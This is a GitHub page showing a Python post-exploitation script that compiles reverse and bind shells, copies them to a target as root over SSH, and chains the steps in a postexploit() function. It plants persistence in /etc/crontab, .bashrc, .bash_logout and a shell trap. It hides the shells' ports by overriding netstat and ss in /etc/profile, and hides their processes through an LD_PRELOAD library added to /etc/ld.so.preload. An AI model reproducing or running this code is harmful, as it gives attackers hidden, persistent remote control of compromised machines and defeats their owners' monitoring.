-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpostexploitation.py
179 lines (143 loc) · 7.44 KB
/
postexploitation.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import sys
import requests
import time
import json
import queue
import configparser
import subprocess
import fileinput
import socket
from shutil import copyfile
import shlex
import exploitation
W = '\033[0m' # white (normal)
R = '\033[31m' # red
'''
Get IP of local host
'''
def getIP():
return socket.gethostbyname(socket.gethostname())
'''
Function to create shell, reverse or bind
'''
def createShell(port, name, rhost, remote_path, privk_path, type):
# If shell type is reverse
if type == 'r':
host = '"' + getIP() + '"'
# Copy C file to modify values
copyfile('tools/reverse.c', 'tools/template_reverse.c')
# Modify IP address and port
for line in fileinput.input(['tools/template_reverse.c'], inplace=True):
print(line.replace('ADDRSUBS', host), end='')
for line in fileinput.input(['tools/template_reverse.c'], inplace=True):
print(line.replace('PORTSUBS', str(port)), end='')
# Compile reverse shell
print("Compiling reverse shell...")
path = 'tools/' + name
subprocess.run(['gcc', 'tools/template_reverse.c', '-o', path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
#If shell type is binds
else:
# Copy C file to modify values
copyfile('tools/bind.c', 'tools/template_bind.c')
# Modify port value
for line in fileinput.input(['tools/template_bind.c'], inplace=True):
print(line.replace('PORTSUBS', str(port)), end='')
# Compile bind shell
print("Compiling bind shell...")
path = 'tools/' + name
subprocess.run(['gcc', 'tools/template_bind.c', '-o', path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
# Copy shell to remote host
print("Copying shell to remote host...")
copy = 'scp -o StrictHostKeyChecking=no -i ' + privk_path + ' ' + path + ' root@' + rhost + ':' + remote_path
subprocess.run(copy, shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
# Print information about how to connect to shell
if type == 'r':
print("***** Use '{}nc -lvp {}{}' to connect to the reverse shell".format(R, port, W))
else:
print("***** Use '{}nc {} {}{}' to connect to the bind shell".format(R, rhost, port, W))
'''
Function to start shell
'''
def startShell(privk_path, rhost, remote_path):
print("Starting shell...")
start = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "' + remote_path + '&"'
subprocess.run(start, shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
'''
Function to edit crontab
'''
def cron(privk_path, rhost, remote_path):
#Install crontab in CentOS
print("Trying to install crontab...")
args = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "yum -y install cronie && sudo systemctl start crond"'
subprocess.run(args, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Edit crontab to execute reverse shell process every minute
print("Editing crontab to add persisted reverse shell")
cron = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "echo \'*/1 * * * * root ' + remote_path + '\' >> /etc/crontab"'
subprocess.run(cron, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
'''
Function to edit .bashrc or .bash_logout file to execute bind shell process every login
'''
def bashrc(privk_path, rhost, remote_path, file):
print("Editing {} file to add persisted bind shell".format(file))
check = "echo \"if ! pgrep -f \"" + remote_path + "\" >/dev/null; then\n" + remote_path + " &\nfi\" >> " + file
ebashrc = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + check + "\nEOF"
try:
subprocess.run(ebashrc, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5)
except:
pass
'''
Function to edit trap behaviour
'''
def trap(privk_path, rhost, remote_path):
print("Modifying trap behaviour to add persisted bind shell")
command = "echo \"trap '" + remote_path + " &' INT\" >> /root/.bashrc"
addtrap = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + command + "\nEOF"
subprocess.run(addtrap, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
'''
Function to hide ports used in bind and reverse shells
'''
def hidePort(privk_path, rhost, portreverse, portbind):
print("Hiding ports...")
# Do not show portreverse and portbind when comman netstat is executed
ntcommand = "echo \"netstat () {\n\tcommand netstat \\\"\${@:1:1}\\\" | grep -v " + str(portreverse) + " | grep -v " + str(portbind) + "\n}\" >> /etc/profile"
ntport = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + ntcommand + "\nEOF"
subprocess.run(ntport, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Do not show portreverse and portbind when comman ss is executed
sscommand = "echo \"ss () {\n\tcommand ss \\\"\${@:1:1}\\\" | grep -v " + str(portreverse) + " | grep -v " + str(portbind) + "\n}\" >> /etc/profile"
ssport = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + sscommand + "\nEOF"
subprocess.run(ssport, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
'''
Function to hide processes used in bind and reverse shells
'''
def hideProc(privk_path, rhost, procname, libname):
procname = '"' + procname + '"'
# Copy C file to modify values
copyfile('tools/hideproc.c', 'tools/template_hideproc.c')
# Modify process name value
for line in fileinput.input(['tools/template_hideproc.c'], inplace=True):
print(line.replace('PROCESS', procname), end='')
# Compile C file and convert it in shared object (.so)
print("Compiling process hider...")
libpath = 'tools/' + libname
subprocess.run(['gcc', '-Wall', '-fPIC', '-shared', '-o', libpath, 'tools/template_hideproc.c', '-ldl'])
# Copy file to remote host
print("Copying lib to remote host...")
copy = 'scp -o StrictHostKeyChecking=no -i ' + privk_path + ' tools/' + libname + ' root@' + rhost + ':/usr/local/lib/' + libname
subprocess.run(copy, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Use shared object using dynamic linker
echocommand = "echo \"/usr/local/lib/" + libname + "\">> /etc/ld.so.preload"
echorun = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + echocommand + "\nEOF"
subprocess.run(echorun, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def postexploit(host):
createShell(8181, "reverse", host, "/usr/.bdsptr", "/home/test/.ssh/id_rsa", "r")
hideProc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr", "librev.so")
startShell("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr")
cron("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr")
createShell(8282, "bind", host, "/usr/.bdsptb", "/home/test/.ssh/id_rsa", "b")
hideProc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "libbind.so")
time.sleep(2)
startShell("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb")
bashrc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "/root/.bashrc")
bashrc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "/root/.bash_logout")
trap("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb")
hidePort("/home/test/.ssh/id_rsa", host, 8181, 8282)